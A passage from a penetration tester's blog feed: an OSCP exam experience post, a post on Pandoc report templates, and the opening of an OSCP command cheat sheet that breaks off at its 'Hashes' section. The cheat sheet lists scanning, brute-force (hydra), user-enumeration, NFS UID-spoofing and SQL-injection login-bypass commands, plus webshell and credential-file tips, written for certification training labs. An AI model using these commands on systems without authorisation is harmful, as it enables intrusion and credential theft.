<h2 id="act-iii---working-through-the-labs">Act III - Working Through the Labs</h2>
<p>By the time my PWK labs started, I was super hyped to jump in. Given my background, my game plan was to start by going through the course materials first, finishing the PDF and exercises before jumping into the labs. I did however run some recon and pop an easy machine or two at the start of my time, just to get a feel for the labs.</p>
<p>Forcing myself to finish the PDF before jumping into the labs helped me to keep motivated in going through the theory, which can definitely feel like a long road. There&rsquo;s a <em>lot</em> of content in the new PDF - it&rsquo;s 853 pages long versus 380 pages in the old PWK. Not all chapters are equally engaging, so this part will require some dedication and focus from your side. To find a balance between soaking up the theory and applying it in practice, I would do exercises as they popped up in the PDF (at the end of every chapter).</p>
<p>Completing the PDF and exercises took me about two weeks altogether. I decided to leave the videos for what they were, since I felt like the PDF did a better job explaining the content matter. Additionally, I just wanted to jump into the labs at this point!</p>
<blockquote>
<p>Note that you&rsquo;re not required to complete the course exercises, but if you hand them in together with a lab report you can earn 5 bonus points for your exam. I chose to do this, not necessarily because of the bonus points, but rather because it&rsquo;s good for practice anyway!</p></blockquote>
<p>As circumstance would have it, the Corona crisis kicked in a couple of weeks into my lab time. Since I mostly had to fit in PWK next to my 40-hour workweek, this actually proved to be a silver lining to the whole situation. All social and work events were pretty much cancelled, which gave me additional time to practice in my evenings and weekends.</p>
<p>I didn&rsquo;t really have a specific strategy for tackling the labs. I would run recon on the entire range of the initial subnet, picking off machines that looked like &lsquo;quick wins&rsquo; (interesting web applications or file shares, known vulnerable or legacy service versions, etc.) first. Eventually, I ran into hosts that had access to new subnets, giving me access to those as well. Unfortunately I can&rsquo;t disclose the specifics of machines or subnets for obvious reasons, but tackling all the boxes was a fun ride that taught me a lot of new skills!</p>
<p>Towards the end of the labs (about 10 to 5 machines left) I would get gradually more stuck. At this point I would turn to the forums for help. Though I would generally recommend staying away from the forums as much as possible, some posts on the forums do help in finding the right path or identifying the right technique, without spoiling too much. As such, the forums may be a nice &rsquo;last resort&rsquo; when you really get stuck on a machine!</p>
<p>The below <em>very scientific graph</em>™ shows my lab completion over time, from the first to the last machine (there are 67 in total in the 2020 labs). As shown, it took me a bit under 2 months (including approximately 2 weeks of PDF/exercise time) to complete 100% of the labs. Note that even though I only had my evenings, my weekends, and occasionally a full day to spare, that is not to say I didn&rsquo;t spend much time on rooting the entire lab environment. If I had to put an hour estimate on it, I would say I probably spent around 175 hours in the labs in total.</p>
<p><img src="/images/pwk-lab-progression.png" alt="PWK Lab Progression"></p>
<p>Overall, the labs were definitely the coolest part of the course. Though I did complete 100% of the labs, that is in no way necessary for passing the exam. If you are short on time I would definitely recommend focusing on really understanding the course materials over completing every machine in the labs. That said, if you manage to complete 100% of the labs within your course time chances are you are well prepared for the exam!</p>
<h2 id="act-iv---the-final-countdown">Act IV - The Final Countdown</h2>
<p>Since I had a week or two between completing the labs and my scheduled exam date, I decided to practice some more. At a slightly slower pace, I went on to complete the HTB machines I had left from TJ_Null&rsquo;s list. As they were mostly machines labeled &ldquo;harder than OSCP, but good practice&rdquo;, some of them were a lot tougher than the labs. I do agree most of them are great practice, though!</p>
<p>I also spent some time before the exam preparing my lab report, and in doing so establishing a process for my exam report as well. Since I had already documented my machines in accordance with a predefined template (more details in <a href="https://cas.vancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/">this blog post</a>), most effort was spent preparing the overall report templates and styling process. As mentioned in my earlier blog, I shared those on <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates">GitHub</a> - hopefully they will be useful for someone else down the road!</p>
<p>In the final days leading up to the exam, I took some days off and started working on a tighter schedule. Three days in advance, I scheduled a day of Buffer Overflow practice. Since this part of the exam was supposed to be fairly straightforward, I wanted to really get comfortable with the required steps for developing a basic BoF exploit. To practice, I used the executables discussed during the course and from the labs (there&rsquo;s several binaries), as well as the <code>TRUN</code> overflow for <a href="https://github.com/stephenbradshaw/vulnserver">VulnServer</a> and <a href="https://www.vulnhub.com/entry/brainpan-1,51/">Brainpan from Vulnhub</a>. After running through the process a couple of times, I was pretty comfortable with all the steps and confident in the BoF part of the exam.</p>
<p>Two days in advance, I had planned to do a &ldquo;practice exam&rdquo;. There&rsquo;s a collection of OSCP-like VulnHub machines compiled into a &ldquo;practice exam&rdquo; <a href="https://h4cklife.wordpress.com/2018/05/22/a-pre-exam-for-future-oscp-students/">here</a>, which did sound interesting. Unfortunately, I had some technical issues preventing me from starting up one of the machines. In the end, I ended up rooting the four working machines, which gave me some confidence for the exam even though it didn&rsquo;t really provide an &ldquo;exam-like&rdquo; experience.</p>
<p>The day before the exam I had scheduled&hellip; nothing. I thought it would be good to clear my head and be away from the computer screen for a day, which is what I did! I took a long walk and hit the hay early. A long day would be ahead.</p>
<h2 id="act-v---twenty-four-hours">Act V - Twenty-four Hours</h2>
<p>Finally, the day of my exam had arrived. I was nervous, but looking forward to it at the same time. I had decided to start with the BoF right away to -hopefully- net a quarter of the points in a short time and lose some of the nerves. I did, and it played out perfectly. It took me about 40 minutes to complete and document the Buffer Overflow, and that&rsquo;s including some technical difficulties with the target system. 25 points were in!</p>
<p>Afterwards, I decided to channel my adrenaline rush on the 25 point machine. For some reason, it was a <em>really</em> easy exploit path. I was probably lucky in dodging some rabbit holes, which is what the 25-pointer is usually notorious for. Again, the exploit didn&rsquo;t take me that much effort and 1 hour and 15 minutes into my exam, I had rooted the 25 pointer. I really couldn&rsquo;t believe I was already 50 points in, and felt almost invincible at this point!</p>
<p>After that, I started looking at the remaining machines, but I got stuck. For several hours, I couldn&rsquo;t find <em>any</em> entry vector into the remaining three machines. I started stressing out a bit, even though I still had plenty of time on the clock. After some time, I found the entry vector to one of the 20-pointers. The exploit from that point wasn&rsquo;t too difficult, and after 6 hours and 10 minutes, I had reached the passing grade of 70 points.</p>
<p>It felt like a weight fell of my shoulders. My practice had paid off, and I could spend the rest of my exam time trying to get 100 points. This stress release helped clear my head, and before long I had found the entry point to the other 20-pointer. 8 hours and 21 minutes in, I had 90 points under my belt.</p>
<p>I was almost euphoric, and convinced I would easily get the 10-pointer after seeing the rest of the boxes. However, for some reason the last box was <em>freaking impossible</em>. I ended up running into dead ends for about 8 hours, until I decided the 10 points probably weren&rsquo;t worth it. At midnight, I tapped out to hit the hay.</p>
<p>Again, it&rsquo;s too bad I can&rsquo;t share any specifics regarding the machines that I faced. As mentioned however, I do think that if you can compromise the majority of lab machines with confidence, and/or have done most OSCP-like HTB machines with little to no help, you should be able to get 70 points without any major issues. In the end, the exam is mostly about showing that you understand the various methods and are able to adapt, more so than it is about having kick-ass technical skills.</p>
<p>I handed in my exam and lab reports the afternoon after my exam, and OffSec was pretty quick in relieving me of all doubt. Three workdays after my exam, I received the message that I had worked so many hours towards getting. I did it!</p>
<p><img src="/images/pwk-pass.jpg" alt="PWK Lab Progression"></p>
<h2 id="takeaways">Takeaways</h2>
<p>I hope the above story was at least slightly interesting to read, and that perhaps you can take away some learnings for your own OSCP journey. Perhaps it will even inspire someone to take the plunge and enroll in PWK!</p>
<p>Since I learned a lot from going through the &ldquo;zero to OSCP&rdquo; journey myself, I wanted to note down some of the points I encountered during my last couple of months.</p>
<ul>
<li>Motivation and dedication are key. You will have to spend a lot of time on OSCP prep, so you better make sure you actually enjoy the process of doing so! If you&rsquo;re not dedicated or motivated to get through the materials, you&rsquo;re gonna have a bad time.</li>
<li>There is no single &lsquo;golden bullet&rsquo; to OSCP preparations. Many people will offer varying pieces of advice - find what works for you.</li>
<li>There are plenty of sites out there that you can use to practice at little to no cost (Hack The Box, Vulnhub, TryHackMe, &hellip;). If you don&rsquo;t have a technical background, practicing for a couple of months will definitely help you nail OSCP. These platforms are also great if you currently don&rsquo;t have the means to pay for PWK.</li>
<li>Restrain yourself from looking at hints right away when you get stuck. The pain of wasting several hours on a box doing something stupid will keep you from ever doing it again.</li>
<li>OSCP is not about having great technical skills. It&rsquo;s about the foundational mindset you need to become a good hacker. This is especially true for the certification exam.</li>
<li>Nailing all the lab machines is cool to do, but not at all required for passing OSCP. The same goes for handing in the lab report and exercises for bonus points (see <a href="#oscp-faq">below</a>).</li>
<li>Write down everything you do in a note-keeping app of your choosing, and make sure it&rsquo;s searchable. It <em>will</em> be helpful later (this doesn&rsquo;t just apply to OSCP, it also applies to keeping notes and writeups in general).</li>
</ul>
<h2 id="oscp-faq">OSCP FAQ</h2>
<p>Since I see a lot of posts on Reddit and Twitter with recurrent questions regarding PWK / OSCP, I figured I&rsquo;d close this post with a &ldquo;PWK FAQ&rdquo;. Note that the given answers are my personal take, and there are likely to be different and equally valid answers to your question out there. If you have a question that&rsquo;s missing from the list, don&rsquo;t hesitate to let me know on <a href="https://twitter.com/chvancooten">Twitter</a>!</p>
<p><strong>I want to go for OSCP but I&rsquo;m unsure because of reason X. Should I do it?</strong></p>
<p>Yes.</p>
<p><strong>How much lab time should I buy?</strong></p>
<p>It depends on your current skill level, your game plan, and the time you can spend. Generally, I would say two to three months, depending on your experience level. If you&rsquo;re a seasoned pentester and/or have 8+ hours a day to spend on your PWK studies, one month might be enough.</p>
<p><strong>My game plan for OSCP is X. Is that okay?</strong></p>
<p>Generally, the answer will be yes. As long as you have thought about your approach, the time you are able to spend, and how it&rsquo;ll fit into your personal life the coming months, you will probably be fine.</p>
<p><strong>I don&rsquo;t have a game plan. How should I approach becoming OSCP?</strong></p>
<p>If you don&rsquo;t have a game plan at all, consider the following approach. I personally feel that this approach should generally work for most people.</p>
<ul>
<li>First, plan 1 to 3 months of HTB practice, completing retired boxes from <a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">TJ_Null&rsquo;s &ldquo;OSCP-like&rdquo; machines list</a>. Take to the HTB forums or e.g. <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">Ippsec&rsquo;s YouTube channel</a> if you hit a wall.</li>
<li>Once you&rsquo;re comfortable rooting easy-medium boxes, enroll in PWK with 3 months of lab time. This will give you plenty of time to go through the PDF and exercises, as well as spend enough time in the labs.</li>
<li>Plan the exam if you&rsquo;re ready during or after your lab time, practice some more if you&rsquo;re not (there&rsquo;s no rush!).</li>
</ul>
<p><strong>What&rsquo;s the best way to spend your lab time?</strong></p>
<p>Though it may be tempting to jump right into the lab when your course time starts, I do think you will get the most value out of your lab machines if you go through the PWK PDF and exercises first. It takes some time, but will help you really build a foundation and understanding of the topics that are addressed in the lab. That being said, everyone has their own style and preferences - as such there is likely no &ldquo;best&rdquo; way to spend your lab time.</p>
<p><strong>Is it worth doing that reporting and all those exercises for 5 bonus points?</strong></p>
<p>Considering the effort required for completing the exercises (especially for PWK 2020) and the lab report, the answer to the question is probably no. That said, the bonus points are not the reason you should go through the exercises and lab reporting - you should definitely do that for yourself. I personally took a lot out of doing the exercises, but skipping (some of) them is a perfectly valid decision as well.</p>
<p><strong>Will the course materials teach me everything I need for the labs/exam?</strong></p>
<p>No. The course materials will give you a solid foundation, and help you establish a methodology for learning new stuff (in other words: Google). That said, the PWK PDF likely won&rsquo;t contain the solution for your exam machines - it&rsquo;s all up to you to practice, get comfortable with the provided methods, and <code>try harder</code>!</p>
<p><strong>When will I be ready for the exam?</strong></p>
<p>Whenever you feel ready! I know it&rsquo;s a cliché, but the PWK exam is more about having confidence in your skills and keeping your head cool than it is about deep-technical skills. Don&rsquo;t let the fact that you didn&rsquo;t complete 100% of the labs or are still unsure about that one machine stop you.</p>
<p><strong>I have the old PWK version, should I upgrade to the 2020 version?</strong></p>
<p>If you already progressed through the &lsquo;old&rsquo; labs, I wouldn&rsquo;t bother. If you&rsquo;re at the start of your PWK course and still need to go through the PDF, do it. It provides more background into existing topics, as well as a lot of new content (e.g. Active Directory exploitation).</p>
]]></content></item><item><title>Generating pretty PWK reports with Pandoc and Markdown (templates inside!)</title><link>https://casvancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/</link><pubDate>Thu, 07 May 2020 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/</guid><description>&lt;p>For some people, the reporting bit of the PWK course may be their pride and joy leading up to their OSCP certification. For others, it&amp;rsquo;s just a necessity that they want to get out of the way. Either way, handing in a report describing your findings is a requirement posed by Offensive Security - so you&amp;rsquo;re gonna have to do it if you want to obtain that elusive OSCP certification!&lt;/p></description><content type="html"><![CDATA[<p>For some people, the reporting bit of the PWK course may be their pride and joy leading up to their OSCP certification. For others, it&rsquo;s just a necessity that they want to get out of the way. Either way, handing in a report describing your findings is a requirement posed by Offensive Security - so you&rsquo;re gonna have to do it if you want to obtain that elusive OSCP certification!</p>
<p>Luckily, reporting doesn&rsquo;t have to be a pain all the time. To the contrary, having a good process for documenting your findings in a structured way can be a big help for yourself as well, and it makes generating the final report that much easier! In this post, I will be sharing some of my personal tips and tricks for documentation and generating quality reports.</p>
<p>To help you get started, I also published my personal Markdown templates (for individual machines, the lab report, and the exam report), as well as my Pandoc style <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates">on Github</a>. Feel free to create a pull request if you have any additions or improvements!</p>
<h2 id="start-from-the-top">Start from the top</h2>
<p>Documenting your findings should not be something you wait with until you actually have to deliver your report. If you know what it is you need to document right from the start, you avoid having to re-exploit boxes just to run that one command or get that screenshot. As such, it helps to invest some time at the start of your PWK journey to understand what it is exactly that Offsec wants to see in your final report - especially if you aim to also deliver your lab report for bonus points. The <a href="https://support.offensive-security.com/oscp-exam-guide/">OSCP Exam Guide</a> is a good place to start for that.</p>
<p>Once you understand what you need to document, I found that it helps greatly to maintain a template for your findings for every machine in the labs (mine is <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/Machine%20template.md">here</a>). A template will help by providing structure in your notes, and it will also constantly remind you of the data you should collect on compromised systems.</p>
<blockquote>
<p>Having your template in an easy-to-use format (such as Markdown) helps in keeping reporting simple when you are executing your tests, while preserving the (logical) structure of your content. You can worry about layout and visuals later!</p></blockquote>
<p>What also helped me for reporting specifically was to write my machine notes in a way that they could simply be copy-pasted into a final report. This way, I could simply just compile my machine notes and leave out the irrelevant bits to compile my report - saving me the headache of having to write out my exploitation path for 10+ machines post-hoc.</p>
<h2 id="compiling-the-report">Compiling the report</h2>
<p>Once you made it to the end of your lab time and/or you completed the OSCP certification exam (👏), the time has come to compile your notes into a fully fledged report. Offensive Security offers their own <a href="https://www.offensive-security.com/pwk-online/PWK-Example-Report-v1.pdf">example report</a>, and they even have a bunch of <a href="https://support.offensive-security.com/pwk-reporting/">templates</a>. However, they do not restrict you to using these templates, so you are free to make of the report what you wish.</p>
<p>Since I did everything so far in Markdown, I decided to stick with that until the end. As such, I created my own <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/Lab%20Report%20template.md">Lab Report template</a> and <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/Exam%20Report%20template.md">Exam Report template</a> in Markdown, based on the examples provided by Offensive Security. Since the structure and contents provided in the official examples were&hellip; less than ideal, I also made some changes on that front. Of course you can change the preamble of your report as you wish, as long as you check the right boxes for PWK.</p>
<p>Once you have the foundation for your report, all that is left from a content perspective is to integrate it with your machine notes. This could be as simple as copy-pasting your machine write-ups in a logical order, or it may require some revisions to your contents. Either is fine!</p>
<blockquote>
<p>Since I had the notes of all 67 compromised lab machines in a report-ready format, I decided to be that one smartass that OffSec (probably) hates and include them all in my lab report 🤓. It turned out to be 485 pages, <em>heh</em>.</p></blockquote>
<h2 id="making-it-pretty">Making it pretty</h2>
<p>Great, so at this point you have a big blob of text with some headings and references to screenshots here and there. How to actually generate a report from that? Good question!</p>
<p>This is where <a href="https://pandoc.org/">Pandoc</a> comes in. Pandoc is a free tool that allows for conversion between most text-based document formats - including Markdown, Word (docx), and PDF. There have been some efforts (e.g. <a href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown">here</a>) to completely automate the conversion from Markdown to a readable PDF report, but I personally wanted to build in an in-between stage (i.e. Word) which allowed me to tweak the document exactly as desired.</p>
<p>To get Pandoc to generate a proper Word document, you need a document defining the base styles. If you will only generate one document it doesn&rsquo;t matter all that much since you could tweak the final document, but for PWK purposes it helps to define a solid base style (I shared mine <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/custom-reference.docx">here</a>). In Pandoc you can also define a style for syntax highlighting, which is just perfect.</p>
<p>Of course, the benefit of generating a Word file in between your Markdown and the final PDF is flexibility. I used this flexibility to for example add a sleek-looking title page, generate a (proper) table of contents, add page numbers, and more. I&rsquo;m about 95% sure you can also do these things with Pandoc, but I personally like the flexibility of having full control over a document before I select &ldquo;export to PDF&rdquo; and send it off.</p>
<blockquote>
<p>Specifics on my approach on report generation (like Pandoc commands) are available in the <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates">repo readme</a>.</p></blockquote>
<h2 id="the-final-result">The final result</h2>
<p>If you have been reading this up until this point (<em>yay</em>) you are probably wondering what this process will get you. Well, I got you! I&rsquo;ve made an example report available <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates/blob/master/Examples/Example%20Report.pdf">here</a> which is pretty much a carbon copy of my PWK lab report. Obviously, I cannot share any specific on the PWK labs or exam, so I replaced the actual contents with some VulnHub writeups to give you a better idea. Don&rsquo;t read the details if you want to avoid spoilers for Brainpan, Kioptrix2014, Zico, or LazyAdmin!</p>
<p>If you used any of these templates or techniques for your own reports I&rsquo;m super curious to hear how you like it. Shoot me a message over on <a href="https://twitter.com/chvancooten">Twitter</a> to let me know what you think!</p>
]]></content></item><item><title>OSCP Cheat Sheet and Command Reference</title><link>https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/</link><pubDate>Sun, 03 May 2020 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/</guid><description>&lt;p>&lt;em>Updated &lt;strong>May 18th, 2020&lt;/strong>&lt;/em>&lt;/p>
&lt;p>Since my OSCP certification exam is coming up, I decided to do a writeup of the commands and techniques I have most frequently used in the PWK labs and in similar machines. I aimed for it to be a basic command reference, but in writing it it has grown out to be a bit more than that!&lt;/p>
&lt;p>That being said - it is &lt;em>far from&lt;/em> an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch on &lt;a href="https://twitter.com/chvancooten">Twitter&lt;/a>!&lt;/p></description><content type="html"><![CDATA[<p><em>Updated <strong>May 18th, 2020</strong></em></p>
<p>Since my OSCP certification exam is coming up, I decided to do a writeup of the commands and techniques I have most frequently used in the PWK labs and in similar machines. I aimed for it to be a basic command reference, but in writing it it has grown out to be a bit more than that!</p>
<p>That being said - it is <em>far from</em> an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch on <a href="https://twitter.com/chvancooten">Twitter</a>!</p>
<h2 id="reconnaissance">Reconnaissance</h2>
<h3 id="full-tcp-nmap">Full TCP nmap</h3>
<p>Enumerate ALL ports and services to identify low hanging fruit, and get the full list of services that you need to look into during enumeration.</p>
<pre tabindex="0"><code>nmap -sV -sC -p- -o nmap.out -vvv $RHOST
</code></pre><h3 id="udp-nmap">UDP nmap</h3>
<p>It&rsquo;s always good to check the top UDP ports. OffSec seems to like the &ldquo;hidden UDP gems&rdquo; SNMP and TFTP.</p>
<pre tabindex="0"><code>nmap -sU --top-ports 20 -o nmap-udp.out -vvv $RHOST
</code></pre><h2 id="enumeration">Enumeration</h2>
<p>This is an <em>explicitly non-exhaustive</em> list of things to try on different services that are identified. In my experience, these are some of the most-used services for PWK, though. Hit me up if you feel anything is missing from this list!</p>
<blockquote>
<p>Rule #1: 👏ENUMERATE👏EVERYTHING👏</p></blockquote>
<h3 id="ftp-21tcp">FTP (21/tcp)</h3>
<p>Check for anonymous login, try credentials if you have them. Sometimes the FTP server is vulnerable itself - refer to &lsquo;Searchsploit&rsquo;.</p>
<h3 id="ssh-22tcp">SSH (22/tcp)</h3>
<p>Try credentials if you have them. Usually not too exploitable, unless you encounter a really old version. You may encounter scenarios where the private key is <a href="https://github.com/g0tmi1k/debian-ssh">predictable</a> or you have a public key with <a href="https://github.com/Ganapati/RsaCtfTool">weak crypto</a>.</p>
<p>In some instances, SSH may be an entry point using weak credentials. If you know several possible usernames on the system, try those out with weak credentials, such as the username as the password or common passwords.</p>
<pre tabindex="0"><code>hydra -l $USERNAME -P /usr/share/wordlists/wfuzz/others/common_pass.txt ssh://$RHOST
</code></pre><blockquote>
<p>Bruteforcing live services beyond short password lists or straightforward guesses (blank password, username as password, etc.) is not necessary and never advisable. If you found a hash, see the section on <a href="https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/#hashes-and-known-credentials">hashes and cracking</a>.</p></blockquote>
<h3 id="smtp-25tcp">SMTP (25/tcp)</h3>
<p>You may be able to enumerate usernames through SMTP.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>nc 10.11.1.217 25
</span></span><span style="display:flex;"><span>[...]
</span></span><span style="display:flex;"><span>VRFY root
</span></span><span style="display:flex;"><span>252 2.0.0 root
</span></span><span style="display:flex;"><span>VRFY idontexist
</span></span><span style="display:flex;"><span>550 5.1.1 &lt;idontexist&gt;: Recipient address rejected: User unknown in local recipient table
</span></span></code></pre></div><h3 id="dns-53tcp">DNS (53/tcp)</h3>
<p>In many cases, you can extract some juicy information from a DNS server. Always attempt to do a zone transfer if you know the target domain.</p>
<pre tabindex="0"><code>dig axfr @$RHOST DOMAIN.COM
dnsrecon -d DOMAIN.COM
</code></pre><h3 id="rpc--nfs-111tcp">RPC / NFS (111/tcp)</h3>
<p>RPC is there for a reason, especially on Linux-based machines it may point to NFS.</p>
<p>Enumerate RPC first:</p>
<pre tabindex="0"><code>nmap -sV -p 111 --script=rpcinfo $RHOST
</code></pre><p>If you find NFS-related services, enumerate those.</p>
<pre tabindex="0"><code>nmap -p 111 --script nfs* $RHOST
</code></pre><p>If you find NFS shares, mount them and see if you can read/write files or change your permissions by adding a new user with a certain UID. If you can&rsquo;t seem to do anything, <em>remember the fact that it is there for later</em>.</p>
<pre tabindex="0"><code>mount -t nfs -o vers=3 $RHOST:/SHARENAME /mnt

groupadd --gid 1337 pwn
useradd --uid 1337 -g pwn pwn
</code></pre><h3 id="samba-139tcp-and-445tcp">S(a)MB(a) (139/tcp and 445/tcp)</h3>
<p>Check for &rsquo;null sessions&rsquo; (anonymous login). SMB may be exploitable by e.g. EternalBlue, so carefully check version and OS numbers. For any Windows-based system that exposes port <code>139</code> and/or <code>445</code>, it is worth running <code>enum4linux</code> to perhaps enumerate users on the machine or gain other information.</p>
<p>If you are authenticated and have a writable share, you may be able to <a href="https://www.rapid7.com/db/modules/auxiliary/admin/smb/samba_symlink_traversal">traverse to the root directory</a> if it is Samba (linux).</p>
<h3 id="snmp-161udp">SNMP (161/udp)</h3>
<p>For any UDP port, it&rsquo;s worth verifying if the port is actually open by also running a service and script scan. This increases the odds that nmap is able to verify the service.</p>
<pre tabindex="0"><code>sudo nmap -sU -sV -sC --open -p 161 $RHOST
</code></pre><p>If SNMP is running, try extracting information using common community strings. Various tools can help in dumping the data in a readable format.</p>
<pre tabindex="0"><code>snmp-check $RHOST
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $RHOST
snmpwalk -v1 -c public $RHOST
</code></pre><h3 id="https-80tcp-443tcp-8000tcp-8080tcp-8443tcp-">HTTP(S) (80/tcp, 443/tcp, 8000/tcp, 8080/tcp, 8443/tcp, &hellip;)</h3>
<p>Any ports with a webserver require close enumeration and a high degree of manual inspection. Below are a couple of helpful tools and commands for initial enumeration, but make sure to go through the webpages yourself and review the functionality, parameters in web requests, etc. Use tools such as BurpSuite to play with interesting requests.</p>
<p>It is worth noting that there are several web services and systems that you will be encountering often. Familiarize yourself with systems such as Tomcat or XAMPP, as you will encounter situations where you will have to identify these systems and know to a basic extent how they work.</p>
<h4 id="gobuster">Gobuster</h4>
<p><strong>Extensions</strong></p>
<p>Adapt the extensions (<code>-x</code>) to the web technology and platform (e.g. <code>.html,.php</code> for Linux, <code>.html,.asp,.aspx</code> for Windows). If you have a hint or hunch that other files may be stored on the webserver or in that specific subdirectory, include those. Suggestions are <code>.txt,.php.bak,.old</code> etcetera.</p>
<p><strong>Wordlist</strong></p>
<p>Adapt the wordlist to the specific platform, if applicable. Don&rsquo;t forget about specialized wordlists (e.g. for <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/wordpress.fuzz.txt">Wordpress</a> or <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/sharepoint.txt">Sharepoint</a>).</p>
<pre tabindex="0"><code>gobuster dir -u $RHOST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html -o gobuster.out
</code></pre><h4 id="nikto">Nikto</h4>
<p>Always run Nikto to identify quick wins (hopefully), and gain more insight in the technology stack behind the webpage.</p>
<pre tabindex="0"><code>nikto -h $RHOST -o nikto-out.txt
</code></pre><h4 id="sslscan">SSLScan</h4>
<p>May identify some interesting features from the SSL certificate or SSL-based vulnerabilities (Heartbleed) on SSL-enabled services.</p>
<pre tabindex="0"><code>sslscan $RHOST
</code></pre><h3 id="searchsploit">Searchsploit</h3>
<p>Search for every service / software version that you manage to identify. Try different combinations of the name and version number of the software. Sometimes I have better results just using Google or the exploit-db search function instead.</p>
<h3 id="all-in-one">All-in-one</h3>
<p>Don&rsquo;t depend on it too much, but <a href="https://github.com/Tib3rius/AutoRecon">AutoRecon</a> is an excellent tool that runs the most common reconnaissance and enumeration steps in one multithreaded process. Output is dumped to a subfolder per target, giving you a clear overview of possible attack vectors.</p>
<h2 id="exploitation">Exploitation</h2>
<p>It&rsquo;s quite difficult to summarize the steps required for exploitation throughout PWK, since so many different vectors may be involved. If you&rsquo;ve done your enumeration well, chances are this phase simply entails downloading an exploit from Exploit-DB, modifying it, and running it to get a (low-privileged) shell. However, you may also have to jump several hurdles before you get to that point, or exploit systems manually altogether.</p>
<p>Below are some of of the things that came to mind at the time of writing. Again - if you have any additions please let me know!</p>
<h3 id="directory-traversal-and-local-file-inclusion">Directory Traversal and (Local) File Inclusion</h3>
<p>You&rsquo;ll likely encounter these in web systems, but possible also as a known vulnerability in other systems such as FTP servers. There are several questions you should ask yourself when this happens.</p>
<p><strong>What type of inclusion am I dealing with?</strong></p>
<p>If you don&rsquo;t yet know, identify whether you are dealing with a remote or local file inclusion (code gets executed, great!) or &lsquo;simply&rsquo; a traversal vulnerability. In general, I&rsquo;d say <code>RFI &gt; LFI &gt; Traversal</code> in terms of exploitability. The first two will likely allow you to execute arbitrary code, which should be enough to net you a shell in most instances (at least for PWK).</p>
<p><strong>What can I read?</strong></p>
<p>If you can &lsquo;only&rsquo; read files, think about what it is you can read to gain a foothold on the machine, or at least progress in your exploitation. First, try and see if you happen to have privileged read access and can read for example <code>/etc/shadow</code> or <code>C:\Users\Administrator\Desktop\Proof.txt</code>. It&rsquo;s a long shot, but it happens. On Windows, don&rsquo;t forget about the <code>SAM</code>, <code>SECURITY</code>, and <code>SYSTEM</code> files and their backups. Those can sometimes get you straight to <code>SYSTEM</code> as well.</p>
<p>If you have limited read access (which will be the majority of times), think about the user context you have read access and juicy files that you can access as them (private SSH keys in user folders, database configuration files in web folders, etc.). Also think about the services you have enumerated on the box, which config files do they have that may be interesting (plaintext credentials, anyone)?</p>
<p>If all else fails, take to online cheat sheets like <a href="https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/">this one</a> for inspiration and just blast ahead 🕵.️</p>
<h3 id="sql-injection">SQL Injection</h3>
<p>You will most definitely encounter SQL Injections during PWK. Injections are usually not too complex and should be exploitable manually - so try to avoid <code>SQLMap</code> wherever possible. Make sure you at least have a basic understanding of the SQL syntax that is involved and what is actually going on under the hood, it will make your life a whole lot simpler!</p>
<p>Injections range from simple login bypasses to <code>UNION</code> inclusion queries. They should usually be easily identifiable if you make a habit of fuzzing random symbols (mainly <code>'</code>) in every parameter you see. For (custom) login screens, always try <code>admin</code>:<code>' OR '1'='1</code> and similar queries to see if you get logged in or at least get an unexpected response back.</p>
<h3 id="other-web-based-exploits">Other Web-Based Exploits</h3>
<p>You will encounter other web-based attacks in the PWK labs. Expect to encounter attacks that are common in the OWASP Top 10, such as XSS (especially in relation to client-side exploits) and Command Injection. In general, recognizing the attack points for these types of attacks and having a basic understanding of how they work should be enough to get started. In some cases you will have to get creative with some filter bypasses, but the payloads will never be very advanced.</p>
<p>Another attack that is prevalent with web systems in PWK is uploading (web)shells through write access on the webserver. This takes various forms in the labs, such as admin panels, SQL/command injection, WebDAV access (use <code>cadaver</code>!), or writable FTP/SMB shares which are served via the web server. In these instances, it&rsquo;s a valuable skill to be able to effectively identify the web technology (PHP, ASP(X), etc.) and have a webshell at hand that you can upload (try Kali&rsquo;s <code>/usr/share/webshells</code> directory).</p>
<blockquote>
<p>Personally, I found it to be more effective to upload a <em>basic</em> webshell first and then use that to spawn a new reverse shell. In many cases, if you try to upload a php or asp reverse shell, it will break due to compatibility or encoding issues. This issue hasn&rsquo;t occurred for me when using webshells.</p></blockquote>
<h3 id="hashes-and-known-credentials">Hashes and (Known) Credentials</h3>
<p>As mentioned earlier, pure brute forcing is never the answer to anything for PWK. That being said, you will have to crack hashes and sometimes spray passwords at systems to gain a foothold.</p>
<p><strong>Hashes</strong>
